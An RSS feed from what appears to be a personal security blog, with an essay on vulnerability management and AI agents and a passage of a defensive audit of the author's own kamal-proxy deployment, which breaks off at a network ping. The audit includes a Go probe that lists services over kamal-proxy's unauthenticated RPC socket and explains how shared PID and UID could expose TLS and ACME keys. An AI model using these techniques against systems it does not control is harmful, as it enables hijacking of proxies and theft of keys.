<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[bernardoamc RSS]]></title><description><![CDATA[Bernardo's brain dump.]]></description><link>https://bernardoamc.com</link><generator>GatsbyJS</generator><lastBuildDate>Mon, 04 May 2026 23:21:59 GMT</lastBuildDate><item><title><![CDATA[Vulnerability Management in the age of AI]]></title><description><![CDATA[Agents accelerate vulnerability management, but only when the foundations are already in place.]]></description><link>https://bernardoamc.com/ai-vulnerability-management/</link><guid isPermaLink="false">https://bernardoamc.com/ai-vulnerability-management/</guid><pubDate>Mon, 04 May 2026 18:00:00 GMT</pubDate><content:encoded>&lt;p&gt;With the pace of &lt;a href=&quot;https://www.cve.org/about/Metrics&quot;&gt;vulnerability discovery increasing&lt;/a&gt; and the window between disclosure and exploitation shrinking, or even &lt;a href=&quot;https://hadrian.io/blog/understanding-the-new-negative-time-to-exploit&quot;&gt;becoming negative&lt;/a&gt; in certain cases, there is a lot of pressure on security teams to move &lt;em&gt;fast&lt;/em&gt;. This pressure is exacerbated by the constant (and successful) advertising from AI companies reaching audiences that are not familiar with the security space, but that very much care about the optics of having secure environments. “How are we using AI to secure our company?”, “Have you seen that Mythos found 271 vulnerabilities in Firefox?” and “Can we have agents regularly scanning our codebases?” might have become too familiar at this point.&lt;/p&gt;
&lt;p&gt;Now don’t get me wrong, having more people caring about security is a great outcome, but blindly throwing agents at the problem will not necessarily benefit most companies as we will see below. Even with unlimited budget and staff, it’s unrealistic to expect that companies will find, prioritize and patch every issue in their supply chains before they are discovered and exploited by attackers. Focusing on the &lt;a href=&quot;https://www.canada.ca/en/government/system/digital-government/online-security-privacy/cyber-security-guidance-policy/guideline-vulnerability-management.html#toc2&quot;&gt;fundamentals&lt;/a&gt; is more important than ever and &lt;em&gt;will give your company the ability to leverage agents in an impactful manner&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;There are much better sources discussing the fundamentals of a successful Vulnerability Management program, so let’s focus instead on relevant scenarios and see how having these fundamentals in place is often enough. After focusing on the benefits of strong fundamentals we will also discuss how agents can be leveraged and the benefits they bring to the table.&lt;/p&gt;
&lt;h3&gt;axios npm supply chain compromise&lt;/h3&gt;
&lt;p&gt;Your team is made aware that &lt;a href=&quot;https://github.com/axios/axios/issues/10636&quot;&gt;axios has been compromised&lt;/a&gt; and versions &lt;code class=&quot;language-text&quot;&gt;1.14.1&lt;/code&gt; and &lt;code class=&quot;language-text&quot;&gt;0.30.4&lt;/code&gt; were shipped with a RAT. You know that your organization has established &lt;a href=&quot;https://securitylabs.datadoghq.com/articles/dependency-cooldowns/&quot;&gt;dependency cooldown periods&lt;/a&gt;, so it is highly unlikely to be affected. Doing your due diligence, you query the comprehensive asset inventory and are quickly able to assess that these versions were not pulled by developer machines or any other environment. Furthermore, you write a quick rule to block these packages from being fetched from your unified repository like Artifactory, Nexus or Cloudsmith.&lt;/p&gt;
&lt;p&gt;What could have been a long incident is resolved in a matter of minutes since your company had the required data and processes in place. The most successful incidents are the ones that didn’t happen.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Plot twist&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;An acquisition wasn’t using the unified repository and was able to pull the vulnerable dependency. Luckily the environments had clear egress rules in place, so the RAT could not reach out to the attacker’s domain. The team figured this out since they were monitoring for the indicators of compromise. Yet again, what could have been a catastrophic incident becomes an action item.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What about agents?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;With the foundations in place, agents would also be able to query the same APIs and automatically create the required blocking rules. Security engineers would be able to quickly assess the agent’s decision and merge the rules. The outcome remains the same, but the triaging and response time is shortened. Agents could also be leveraged to extract the indicators of compromise from a particular source, monitor systems for it and alert the team in case of matches.&lt;/p&gt;
&lt;h3&gt;Copy Fail: 732 Bytes to Root on Every Major Linux Distribution&lt;/h3&gt;
&lt;p&gt;Your team is made aware of &lt;a href=&quot;https://copy.fail/&quot;&gt;Copy Fail&lt;/a&gt;, a new local privilege escalation vulnerability. This is an interesting case since there are no patches upstream at the time, so you quickly write some detection rules while the organization figures out how to handle this situation. Since the organization has invested in clear threat models for their main surface areas, the team makes well informed decisions about waiting for the official patches versus manually patching systems. Runbooks detailing how to patch and cycle hosts are in place for systems that require manual patching, so teams can safely patch and cycle involved hosts without guess work. Patches to disable the &lt;code class=&quot;language-text&quot;&gt;algif_aead&lt;/code&gt; module or modify seccomp policies are put in place, and since the organization has invested in observability, it’s easy to track the percentage of the fleet that still needs to be cycled.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What about agents?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Again, agents could be leveraged to speed up parts of the triaging and detection pipelines by writing the necessary detection rules and help with monitoring. Unless agents have full access to your deployment and infrastructure pipelines, which has &lt;a href=&quot;https://www.tomshardware.com/tech-industry/artificial-intelligence/claude-powered-ai-coding-agent-deletes-entire-company-database-in-9-seconds-backups-zapped-after-cursor-tool-powered-by-anthropics-claude-goes-rogue&quot;&gt;many other downsides&lt;/a&gt;, it wouldn’t be able to patch and cycle your fleet. It also wouldn’t be able to make the correct business decisions like reasoning about the need to patch versus a potential downtime incurred by a redeploy.&lt;/p&gt;
&lt;h3&gt;MAD Bugs: vim vs emacs vs Claude&lt;/h3&gt;
&lt;p&gt;Your team is made aware of critical &lt;a href=&quot;https://blog.calif.io/p/mad-bugs-vim-vs-emacs-vs-claude&quot;&gt;CVEs in vim and emacs&lt;/a&gt;. The organization has invested heavily in keeping an inventory of applications in use within developer machines and have a well established pipeline to block applications from running through &lt;a href=&quot;https://github.com/northpolesec/santa&quot;&gt;Santa rules&lt;/a&gt;. It also has an inventory of package versions that can identify when a vulnerable version is present within hosts.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What about agents?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;In this case an agent could use the available data to decide whether applications can be directly blocked using an heuristic like the number of machines using the vulnerable versions and also cycling hosts if newer images are available with the patched versions&lt;/p&gt;
&lt;h2&gt;Are agents a “nice to have”?&lt;/h2&gt;
&lt;p&gt;Yes and no. In most cases agents can speed up the mean time to triage and remediation, but they wouldn’t be as useful without being able to rely on a strong foundation. If your company has clear foundational gaps, agents will hardly be the solution to the problem despite the push to rely on them. If you feel your company is already well positioned to benefit from agents, I recommend you start focusing on the triage side of things. Having the right information at the right time allows you to make the best decisions for your team and company.&lt;/p&gt;
&lt;p&gt;That being said, with a strong foundation in place a lot of the triaging steps can be made deterministic, in which case agents can actually be a detriment to the process.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What else?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;One area where agents can shine is when they are leveraged to scan 1st party code and infrastructure. This covers both proactive discovery in our own code and also the aspect of figuring out if we are affected by a particular zero day (no patch or CVE). Companies have a huge advantage leveraging their full context to find relevant vulnerabilities. By leveraging artifacts like system designs and threat models, agents can find highly contextual vulnerabilities that when coupled with an automatic validation pipeline delivers valuable findings to internal teams. Figuring out a way to quickly spawn a testing environment with everything that an agent needs to replicate a vulnerability is a worthy problem to tackle.&lt;/p&gt;
&lt;p&gt;Agents are also great at performing simpler versions of reachability analysis, which can be particularly useful when assessing impact from unpatched library vulnerabilities. When used right, they can augment your risk based prioritization process in a meaningful way.&lt;/p&gt;
&lt;p&gt;If you are still looking for more ideas, agents can also crawl your runbooks and ensure they are up to date. They can also map outbound network connections against declared egress rules and even compare crawled infrastructure against the current asset inventory.&lt;/p&gt;
&lt;p&gt;With all that said, and sounding like a broken record at this point, before you go all-in on agents ensure a strong foundation is in place. They will give agents the data they need in order to make better decisions. Starting with agents is backwards.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[kamal-proxy security audit]]></title><description><![CDATA[Security audit of kamal-proxy's Docker container.]]></description><link>https://bernardoamc.com/kamal-proxy-security-audit/</link><guid isPermaLink="false">https://bernardoamc.com/kamal-proxy-security-audit/</guid><pubDate>Sun, 01 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;In my &lt;a href=&quot;/kamal-proxy-deep-dive/&quot;&gt;previous post&lt;/a&gt; we explored how &lt;code class=&quot;language-text&quot;&gt;kamal-proxy&lt;/code&gt; works under the hood, covering topics like the bridge network, the iptables rules and the Unix socket RPC protocol. Near the end, we intercepted the Docker socket to watch Kamal orchestrate a full deploy. Now that we understand the domain, I thought it would be interesting to perform a quick security audit under the assumption that an attacker managed to &lt;em&gt;get remote code execution inside the web container&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Kamal runs the web app and its proxy side-by-side on the same host. How well are they isolated from each other? Can an attacker in the web app container reach &lt;code class=&quot;language-text&quot;&gt;kamal-proxy&lt;/code&gt;’s control plane and stop it, redeploy it, or redirect traffic? That’s what this post is about and we will be using my live production server throughout.&lt;/p&gt;
&lt;h2&gt;The threat model&lt;/h2&gt;
&lt;p&gt;An attacker exploits a vulnerability in the web application and achieves RCE inside the web app container. They have a shell, so they can run any commands and make network requests. What can they reach?&lt;/p&gt;
&lt;p&gt;I see two clear targets:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;The Unix socket:&lt;/strong&gt; &lt;code class=&quot;language-text&quot;&gt;kamal-proxy&lt;/code&gt; uses &lt;code class=&quot;language-text&quot;&gt;/tmp/kamal-proxy.sock&lt;/code&gt; as its RPC control plane. Whoever can talk to this socket can deploy or stop targets.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The network surface:&lt;/strong&gt; both containers share the same Docker bridge network. Can the web app container reach &lt;code class=&quot;language-text&quot;&gt;kamal-proxy&lt;/code&gt; over TCP and abuse its HTTP interface?&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Let’s start our investigation!&lt;/p&gt;
&lt;h2&gt;The Unix socket&lt;/h2&gt;
&lt;p&gt;From the &lt;a href=&quot;/kamal-proxy-deep-dive/&quot;&gt;previous post&lt;/a&gt; we know the socket exists at &lt;code class=&quot;language-text&quot;&gt;/tmp/kamal-proxy.sock&lt;/code&gt; inside the container, exposed on the host through the overlay filesystem at:&lt;/p&gt;
&lt;deckgo-highlight-code   highlight-lines=&quot;undefined&quot;&gt;
          &lt;code slot=&quot;code&quot;&gt;/var/lib/docker/rootfs/overlayfs/b9958b81313c.../tmp/kamal-proxy.sock&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;The first thing to check is who owns it and what permissions it has:&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;bash&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;$ stat /var/lib/docker/rootfs/overlayfs/b9958b81313c.../tmp/kamal-proxy.sock
  File: ...kamal-proxy.sock
  Size: 0
Access: (0755/srwxr-xr-x)  Uid: ( 1001/ UNKNOWN)   Gid: ( 1001/ UNKNOWN)&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;The permission bits &lt;code class=&quot;language-text&quot;&gt;srwxr-xr-x&lt;/code&gt; can be broken down as:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Owner (uid 1001): can connect&lt;/li&gt;
&lt;li&gt;Group (gid 1001): read + execute, but &lt;strong&gt;no write&lt;/strong&gt;, so it cannot connect&lt;/li&gt;
&lt;li&gt;Others: read + execute, but again &lt;strong&gt;no write&lt;/strong&gt; so it also cannot connect&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;For Unix sockets, the write permission is what allows a process to connect. So only &lt;code class=&quot;language-text&quot;&gt;uid 1001&lt;/code&gt; can talk to this socket. That’s the &lt;code class=&quot;language-text&quot;&gt;kamal-proxy&lt;/code&gt; process itself and anything exec’d into the container via &lt;code class=&quot;language-text&quot;&gt;docker exec&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;But can the web app container even reach this path? Let’s check!&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;bash&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;$ ls -la /var/lib/docker/rootfs/
drwx--x---  3 root root 4096 ...&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;drwx--x---&lt;/code&gt;, so only &lt;code class=&quot;language-text&quot;&gt;root&lt;/code&gt; can traverse this path. This means that even if a process were running as &lt;code class=&quot;language-text&quot;&gt;uid 1001&lt;/code&gt; somewhere on the host, it couldn’t navigate to the socket through the overlayfs path. Can we reach the socket from the web app container itself?&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;bash&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;$ docker exec xps-web-98043a3 ls /tmp/
# Empty...&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;The directory is empty, so the answer to our previous question is no. The reason for this behavior is that the app container has its own mount namespace, which is the Linux mechanism for giving each container a completely isolated view of the filesystem. In practice this means that the web app container has no view of &lt;code class=&quot;language-text&quot;&gt;kamal-proxy&lt;/code&gt;’s filesystem at all.&lt;/p&gt;
&lt;p&gt;In order to be thorough, let’s also check what user the web app container runs as, and whether any sockets are visible anywhere in its filesystem:&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;bash&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;$ docker exec xps-web-98043a3 id
uid=1000(appuser) gid=1000(appuser) groups=1000(appuser)

$ docker exec xps-web-98043a3 find / -name &amp;quot;*.sock&amp;quot; -type s 2&amp;gt;/dev/null
# Nothing...&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;So &lt;code class=&quot;language-text&quot;&gt;uid 1000&lt;/code&gt; and no sockets within the container. The control plane is genuinely unreachable from the web app container.&lt;/p&gt;
&lt;p&gt;Another thing worth noting is that Docker is running without user namespace remapping (the default behavior) and confirmed through:&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;bash&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;$ docker inspect kamal-proxy --format &amp;#39;{{.HostConfig.UsernsMode}}&amp;#39;
# No output...&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;Having no output means no remapping, which means the &lt;code class=&quot;language-text&quot;&gt;uid 1001&lt;/code&gt; inside the &lt;code class=&quot;language-text&quot;&gt;kamal-proxy&lt;/code&gt; container is also &lt;code class=&quot;language-text&quot;&gt;uid 1001&lt;/code&gt; on the host kernel. This is an anonymous, unmapped uid that no legitimate host user or process runs as on my system. Kamal’s own deployment workflow reaches kamal-proxy’s Unix socket via &lt;code class=&quot;language-text&quot;&gt;docker exec&lt;/code&gt;, running commands inside the container’s own mount namespace where the socket is visible. The broader orchestration (pulling images, starting containers, routing traffic) goes through the Docker socket API as we have seen in the previous post.&lt;/p&gt;
&lt;h3&gt;Proving the namespace separation&lt;/h3&gt;
&lt;p&gt;We claimed that both containers have distinct mount namespaces, but will you blindly trust me? I hope not! Every process on Linux has its namespaces exposed under &lt;code class=&quot;language-text&quot;&gt;/proc/&amp;lt;pid&gt;/ns/&lt;/code&gt;. The inode number in the symlink target uniquely identifies the namespace, so having the same inode means processes share a namespace, otherwise they have isolated namespaces.&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;bash&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;# Get the host PIDs of both container processes
$ docker inspect kamal-proxy --format &amp;#39;{{.State.Pid}}&amp;#39;
1129
$ docker inspect xps-web-98043a3 --format &amp;#39;{{.State.Pid}}&amp;#39;
6292

# Compare their mount namespace inodes
$ ls -la /proc/1129/ns/mnt
lrwxrwxrwx 1 1001 1001 0 Feb 26 03:00 /proc/1129/ns/mnt -&amp;gt; &amp;#39;mnt:[4026532438]&amp;#39;

$ ls -la /proc/6292/ns/mnt
lrwxrwxrwx 1 deploy deploy 0 Feb 26 04:18 /proc/6292/ns/mnt -&amp;gt; &amp;#39;mnt:[4026532307]&amp;#39;&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;See how the inodes are different (&lt;code class=&quot;language-text&quot;&gt;4026532438&lt;/code&gt; vs &lt;code class=&quot;language-text&quot;&gt;4026532307&lt;/code&gt;)? Whatever is mounted in &lt;code class=&quot;language-text&quot;&gt;kamal-proxy&lt;/code&gt;’s filesystem is completely invisible from the web app container’s perspective and vice versa.&lt;/p&gt;
&lt;p&gt;Another thing worth noticing is the symlink ownership. &lt;code class=&quot;language-text&quot;&gt;/proc/1129/ns/mnt&lt;/code&gt; is owned by &lt;code class=&quot;language-text&quot;&gt;uid 1001&lt;/code&gt;, while &lt;code class=&quot;language-text&quot;&gt;/proc/6292/ns/mnt&lt;/code&gt; is owned by &lt;code class=&quot;language-text&quot;&gt;deploy&lt;/code&gt;, which is the host account Kamal uses to SSH on my system. This is the same uid the web app container runs as, since &lt;code class=&quot;language-text&quot;&gt;user: &quot;1000:1000&quot;&lt;/code&gt; in &lt;code class=&quot;language-text&quot;&gt;deploy.yml&lt;/code&gt; corresponds to the host’s &lt;code class=&quot;language-text&quot;&gt;deploy&lt;/code&gt; user. Given that, a reasonable follow up question would be:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;If the &lt;code class=&quot;language-text&quot;&gt;web app&lt;/code&gt; and &lt;code class=&quot;language-text&quot;&gt;kamal-proxy&lt;/code&gt; shared the same uid, could the web app container access &lt;code class=&quot;language-text&quot;&gt;kamal-proxy&lt;/code&gt;’s mount namespace?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The answer is no for the following reasons:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Besides mount namespaces, containers also have distinct PID namespaces, so they couldn’t access these process IDs like the host does. Docker containers get their own PID namespace by default.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://man7.org/linux/man-pages/man7/capabilities.7.html&quot;&gt;CAP_SYS_ADMIN&lt;/a&gt; is required for &lt;a href=&quot;https://man7.org/linux/man-pages/man2/setns.2.html&quot;&gt;setns()&lt;/a&gt;, so even if the PIDs were visible (e.g. with —pid=host) we wouldn’t be able to enter this namespace since containers don’t have this capability enabled by default.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;There is one exception to point &lt;code class=&quot;language-text&quot;&gt;2&lt;/code&gt;, as always. With a &lt;em&gt;shared PID namespace and a shared UID&lt;/em&gt;, an attacker could make use of &lt;code class=&quot;language-text&quot;&gt;/proc/&amp;lt;pid&gt;/root&lt;/code&gt; to access the socket. This is a symlink that the Linux kernel maintains for every running process, pointing to whatever that process considers its root directory (/). For a normal process that’s just &lt;code class=&quot;language-text&quot;&gt;/&lt;/code&gt;, but for a containerized process it points to that container’s root filesystem, as in, the overlay filesystem’s merged directory with all its files.&lt;/p&gt;
&lt;p&gt;From the host as root we can already do this:&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;bash&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;$ ls /proc/1129/root/tmp/
kamal-proxy.sock

$ ls -la /proc/1129/root/home/kamal-proxy/.config/kamal-proxy/
drwxr-xr-x 3 1001 1001 4096 Feb 25 03:51 .
drwxr-xr-x 3 1001 1001 4096 May 14  2025 ..
drwx------ 3 1001 1001 4096 Feb 25 03:51 certs
-rw-r--r-- 1 1001 1001  953 Feb 26 04:18 kamal-proxy.state&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;The Unix socket isn’t the only thing worth reaching here. Let’s see what else is in that filesystem.&lt;/p&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;kamal-proxy.state&lt;/code&gt; is &lt;code class=&quot;language-text&quot;&gt;0644&lt;/code&gt;, or world-readable, so any uid can access it via this path. It contains the full service topology, internal container IDs, logged header names, and the &lt;code class=&quot;language-text&quot;&gt;acme_cache_path&lt;/code&gt; that points to exactly where the certificates live.&lt;/p&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;certs&lt;/code&gt; is &lt;code class=&quot;language-text&quot;&gt;0700&lt;/code&gt;, accessible only by &lt;code class=&quot;language-text&quot;&gt;uid 1001&lt;/code&gt;. Inside, &lt;code class=&quot;language-text&quot;&gt;autocert&lt;/code&gt; stores two files without extensions: the domain’s TLS private key and &lt;code class=&quot;language-text&quot;&gt;acme_account+key&lt;/code&gt;. The account key is the more impactful of the two. The domain private key lets an attacker decrypt captured TLS traffic. The ACME account key lets them issue certificates for any other domain registered to the same Let’s Encrypt account, or revoke existing ones to cause an outage. Neither requires any additional access to the server itself.&lt;/p&gt;
&lt;p&gt;Neither running &lt;code class=&quot;language-text&quot;&gt;--pid=host&lt;/code&gt; or sharing &lt;code class=&quot;language-text&quot;&gt;uid&lt;/code&gt; is the default though, so this path is closed in a standard Kamal deployment. But it’s a good illustration of why not breaking PID namespace isolation matters. Once shared PIDs are in the picture, uid alignment becomes a problem.&lt;/p&gt;
&lt;p&gt;We have talked a lot about &lt;code class=&quot;language-text&quot;&gt;kamal-proxy&lt;/code&gt;’s uid, but how is it defined?&lt;/p&gt;
&lt;h3&gt;Where does uid 1001 actually come from?&lt;/h3&gt;
&lt;p&gt;kamal-proxy’s &lt;a href=&quot;https://github.com/basecamp/kamal-proxy/blob/3e7aebd4cbf66d79667f0fa3671b9913a78903d8/Dockerfile#L1-L24&quot;&gt;Dockerfile&lt;/a&gt; is defined as:&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;dockerfile&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;FROM ubuntu:noble-20251013 AS base

# ...

RUN useradd kamal-proxy \
    &amp;amp;&amp;amp; mkdir -p /home/kamal-proxy/.config/kamal-proxy \
    &amp;amp;&amp;amp; chown -R kamal-proxy:kamal-proxy /home/kamal-proxy

USER kamal-proxy:kamal-proxy&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;The &lt;code class=&quot;language-text&quot;&gt;useradd&lt;/code&gt; command without an explicit &lt;code class=&quot;language-text&quot;&gt;-u&lt;/code&gt; flag assigns the &lt;strong&gt;next available uid&lt;/strong&gt; after existing system users. On a fresh &lt;code class=&quot;language-text&quot;&gt;ubuntu:noble&lt;/code&gt; image that happens to be &lt;code class=&quot;language-text&quot;&gt;1001&lt;/code&gt;, but it’s an implementation detail of the base image, not a deliberate choice by Kamal. If Ubuntu ever adds a new system user in a future release, &lt;code class=&quot;language-text&quot;&gt;kamal-proxy&lt;/code&gt; silently becomes uid &lt;code class=&quot;language-text&quot;&gt;1002&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;We can verify this live:&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;bash&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;$ docker exec kamal-proxy id
uid=1001(kamal-proxy) gid=1001(kamal-proxy) groups=1001(kamal-proxy)&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;This means that the uids &lt;code class=&quot;language-text&quot;&gt;1000&lt;/code&gt; and &lt;code class=&quot;language-text&quot;&gt;1001&lt;/code&gt; in our production environment are entirely “coincidental”. My project’s Dockerfile explicitly creates &lt;code class=&quot;language-text&quot;&gt;appuser&lt;/code&gt; with uid &lt;code class=&quot;language-text&quot;&gt;1000&lt;/code&gt; and Ubuntu’s &lt;code class=&quot;language-text&quot;&gt;useradd&lt;/code&gt; defaults landing on 1001. Kamal never designed this as a security boundary, but it is interesting to document the behavior nonetheless.&lt;/p&gt;
&lt;p&gt;While we are looking at the Dockerfile, a couple of other things are worth noting. The base image is &lt;code class=&quot;language-text&quot;&gt;ubuntu:noble-20251013&lt;/code&gt;, a date-pinned tag that is mutable since DockerHub tags can be force-pushed. A SHA digest (&lt;code class=&quot;language-text&quot;&gt;ubuntu:noble@sha256:...&lt;/code&gt;) is the only truly immutable form. The build stage (&lt;code class=&quot;language-text&quot;&gt;golang:1.26&lt;/code&gt;) is looser, with no date tag at all, meaning the build toolchain can silently change on the next pull.&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;bash&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;FROM golang:1.26 AS build
# ...
FROM ubuntu:noble-20251013 AS base
# ...&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;I didn’t spot things like &lt;code class=&quot;language-text&quot;&gt;govulncheck&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;gosec&lt;/code&gt;, or image scanning in CI, so known CVEs in the dependency tree wouldn’t be caught during CI-time.&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;bash&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;$ cat .github/workflows/ci.yml
name: Go

permissions:
  contents: read
  pull-requests: write

on:
  push:
    branches: [ &amp;quot;main&amp;quot; ]
  pull_request:
    branches: [ &amp;quot;main&amp;quot; ]
# ...&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;None of this changes the runtime threat model we have been exploring, but it is worth knowing when evaluating the overall security posture of the project. Let’s move on!&lt;/p&gt;
&lt;h2&gt;Attempting to reach the RPC control plane directly&lt;/h2&gt;
&lt;p&gt;We’ve established that the Unix socket is unreachable from the web app container, but we want to prove it rather than just assert it. The &lt;em&gt;way&lt;/em&gt; it fails matters as much as the failure itself.&lt;/p&gt;
&lt;p&gt;Let’s write a small Go binary that speaks kamal-proxy’s RPC protocol and calls &lt;code class=&quot;language-text&quot;&gt;List&lt;/code&gt;, a read-only operation that returns every registered service with its target and associated metadata. We’ll run it from the web app container first, then from inside kamal-proxy itself. Our expectation is for the binary to fail within the web app container, but not within &lt;code class=&quot;language-text&quot;&gt;kamal-proxy&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;From the previous post, we intercepted the raw gob-encoded payload on the socket and could read the struct field names directly from it. Cross-referencing with Kamal’s &lt;a href=&quot;https://github.com/basecamp/kamal-proxy/tree/v0.9.0/internal/cmd&quot;&gt;source code&lt;/a&gt; confirms that the approach should work. Let’s start!&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;go&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;package main

import (
    &amp;quot;fmt&amp;quot;
    &amp;quot;net&amp;quot;
    &amp;quot;net/rpc&amp;quot;
    &amp;quot;time&amp;quot;
)

type ServiceDescription struct {
    Host   string
    Path   string
    TLS    bool
    Target string
    State  string
}

type ListResponse struct {
    Targets map[string]ServiceDescription
}

func dial(socketPath string) (*rpc.Client, error) {
    conn, err := net.DialTimeout(&amp;quot;unix&amp;quot;, socketPath, 5*time.Second)
    if err != nil {
        return nil, err
    }
    return rpc.NewClient(conn), nil
}

func main() {
    client, err := dial(&amp;quot;/tmp/kamal-proxy.sock&amp;quot;)
    if err != nil {
        fmt.Printf(&amp;quot;[!] Failed to connect: %v\n&amp;quot;, err)
        return
    }
    defer client.Close()

    var response ListResponse
    if err := client.Call(&amp;quot;kamal-proxy.List&amp;quot;, true, &amp;amp;response); err != nil {
        fmt.Printf(&amp;quot;[!] List failed: %v\n&amp;quot;, err)
        return
    }

    for name, svc := range response.Targets {
        fmt.Printf(&amp;quot;service=%-20s target=%-25s state=%s tls=%v\n&amp;quot;,
            name, svc.Target, svc.State, svc.TLS)
    }
}&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;Let’s compile the code, send it to our server and run it in both containers:&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;bash&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;# On our local machine
GOOS=linux GOARCH=amd64 go build -o probe_amd64 probe.go
# Copy to the server
scp probe_amd64 deploy@$DROPLET_IP:/tmp/probe_amd64
# Copy into the web app container
docker cp /tmp/probe_amd64 xps-web-98043a3:/tmp/probe
# Run it as the attacker would
docker exec xps-web-98043a3 /tmp/probe
[!] Failed to connect: dial unix /tmp/kamal-proxy.sock: connect: no such file or directory&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;Notice that the error is &lt;code class=&quot;language-text&quot;&gt;no such file or directory&lt;/code&gt;, not &lt;code class=&quot;language-text&quot;&gt;permission denied&lt;/code&gt;. The socket doesn’t exist within the web app container at all, the uid check never even runs. The mount namespace separation is doing all the work before permissions get a chance to matter.&lt;/p&gt;
&lt;p&gt;Now let’s run the same binary from inside &lt;code class=&quot;language-text&quot;&gt;kamal-proxy&lt;/code&gt; to confirm the binary itself works:&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;bash&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;# Copy to kamal-proxy container
docker cp /tmp/probe_amd64 kamal-proxy:/tmp/probe
docker exec kamal-proxy /tmp/probe
service=xps-web              target=7c001501e3ca:8080         state=running tls=true&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;Connecting from the right context reaches the control plane immediately with no authentication. Whoever can reach the socket has full read access to the service topology, and from there full write access to everything else. The only thing protecting it is whether the socket is visible in your mount namespace or not. Let’s move to the second target surface area!&lt;/p&gt;
&lt;h2&gt;The network surface&lt;/h2&gt;
&lt;p&gt;The Unix socket is a dead end. But both containers share the &lt;code class=&quot;language-text&quot;&gt;kamal&lt;/code&gt; bridge network, so let’s see what’s reachable over TCP. First, let’s confirm that the web app container can reach &lt;code class=&quot;language-text&quot;&gt;kamal-proxy&lt;/code&gt; at the network level:&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;bash&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;$ docker exec xps-web-98043a3 ping -c2 kamal-proxy
PING kamal-proxy (172.18.0.3): 56 data bytes
64 bytes from 172.18.0.3: seq=0 ttl=42 time=0.067 ms
64 bytes from 172.18.0.3: seq=1 ttl=42 time=0.080 ms&lt;/code&gt;
